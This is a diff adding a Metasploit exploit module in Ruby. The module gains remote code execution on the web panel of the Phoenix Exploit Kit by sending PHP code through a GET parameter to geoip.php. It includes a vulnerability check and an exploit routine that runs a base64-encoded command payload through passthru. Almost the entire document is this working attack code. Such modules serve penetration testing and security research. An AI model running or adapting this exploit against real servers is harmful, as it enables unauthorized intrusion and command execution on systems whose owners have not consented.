|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Phoenix Exploit Kit Remote Code Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via the geoip.php. The |
| 18 | + Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the |
| 19 | + presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which |
| 20 | + then silently installs malware. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'CrashBandicot @DosPerl', #initial discovery |
| 26 | + 'Jay Turla <@shipcod3>', #msf module |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'EDB', '40047' ], |
| 31 | + [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit |
| 32 | + [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ], |
| 33 | + ], |
| 34 | + 'Privileged' => false, |
| 35 | + 'Payload' => |
| 36 | + { |
| 37 | + 'Space' => 200, |
| 38 | + 'DisableNops' => true, |
| 39 | + 'Compat' => |
| 40 | + { |
| 41 | + 'PayloadType' => 'cmd' |
| 42 | + } |
| 43 | + }, |
| 44 | + 'Platform' => %w{ unix win }, |
| 45 | + 'Arch' => ARCH_CMD, |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ], |
| 49 | + ['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ] |
| 50 | + ], |
| 51 | + 'DisclosureDate' => 'Jul 01 2016', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']), |
| 57 | + ],self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def check |
| 61 | + test = Rex::Text.rand_text_alpha(8) |
| 62 | + res = http_send_command("echo #{test};") |
| 63 | + if res && res.body.include?(test) |
| 64 | + return Exploit::CheckCode::Vulnerable |
| 65 | + end |
| 66 | + return Exploit::CheckCode::Safe |
| 67 | + end |
| 68 | + |
| 69 | + def exploit |
| 70 | + encoded = Rex::Text.encode_base64(payload.encoded) |
| 71 | + http_send_command("passthru(base64_decode(\"#{encoded}\"));") |
| 72 | + end |
| 73 | + |
| 74 | + def http_send_command(cmd) |
| 75 | + send_request_cgi({ |
| 76 | + 'method' => 'GET', |
| 77 | + 'uri' => normalize_uri(target_uri.path), |
| 78 | + 'vars_get' => { |
| 79 | + 'bdr' => cmd |
| 80 | + } |
| 81 | + }) |
| 82 | + end |
| 83 | +end |
0 commit comments